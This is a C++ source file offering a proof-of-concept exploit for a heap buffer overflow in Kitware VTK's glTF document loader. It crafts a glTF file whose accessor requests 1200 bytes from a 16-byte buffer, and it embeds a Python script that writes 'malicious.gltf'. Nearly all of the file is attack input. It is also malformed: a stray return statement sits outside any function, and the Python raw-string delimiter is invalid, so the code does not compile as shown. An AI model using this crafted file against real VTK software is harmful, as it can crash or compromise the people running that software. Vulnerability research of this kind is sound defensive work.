// CVE-2025-57107 PoC - Malicious GLTF file for Kitware VTK heap buffer overflow
// This PoC demonstrates a malformed GLTF file that triggers the vulnerability
// in vtkGLTFDocumentLoader's Accessor copy constructor
#include <iostream>
#include <fstream>
#include <vector>
// Create a malicious GLTF JSON that triggers buffer boundary validation failure
std::string createMaliciousGLTF() {
// Malicious GLTF with crafted accessor parameters
// The accessor points beyond actual buffer boundaries
std::string gltf = R"({
"asset": {"version": "2.0"},
"buffers": [
{
"byteLength": 16,
"uri": "data:application/octet-stream;base64,AAAAAAAAAAAAAAAA"
}
],
"bufferViews": [
{
"buffer": 0,
"byteOffset": 0,
"byteLength": 16
}
],
"accessors": [
{
"bufferView": 0,
"componentType": 5126,
"count": 100,
"type": "VEC3",
"max": [1.0, 1.0, 1.0],
"min": [-1.0, -1.0, -1.0]
}
],
"meshes": [
{
"primitives": [
{
"attributes": {"POSITION": 0}
}
]
}
]
})";
return gltf;
}
// Alternative: Python script to generate malicious GLTF
std::string pythonPoC = R"""
#!/usr/bin/env python3
# CVE-2025-57107 PoC - Generate malicious GLTF file
# Triggers heap buffer overflow in Kitware VTK vtkGLTFDocumentLoader
import json
import base64
def create_poc_gltf():
# Create a minimal buffer (16 bytes)
buffer_data = b'\x00' * 16
buffer_uri = "data:application/octet-stream;base64," + base64.b64encode(buffer_data).decode()
# Malicious GLTF with accessor requesting more data than buffer contains
# count: 100 with VEC3 (3 floats each) = 1200 bytes, but buffer is only 16 bytes
gltf = {
"asset": {"version": "2.0"},
"buffers": [{
"byteLength": 16,
"uri": buffer_uri
}],
"bufferViews": [{
"buffer": 0,
"byteOffset": 0,
"byteLength": 16
}],
"accessors": [{
"bufferView": 0,
"componentType": 5126, # FLOAT
"count": 100, # Requests 100 * 3 * 4 = 1200 bytes
"type": "VEC3",
"max": [1.0, 1.0, 1.0],
"min": [-1.0, -1.0, -1.0]
}],
"meshes": [{
"primitives": [{
"attributes": {"POSITION": 0}
}]
}]
}
with open('malicious.gltf', 'w') as f:
json.dump(gltf, f, indent=2)
print("Malicious GLTF file created: malicious.gltf")
if __name__ == "__main__":
create_poc_gltf()
"""
return pythonPoC;
}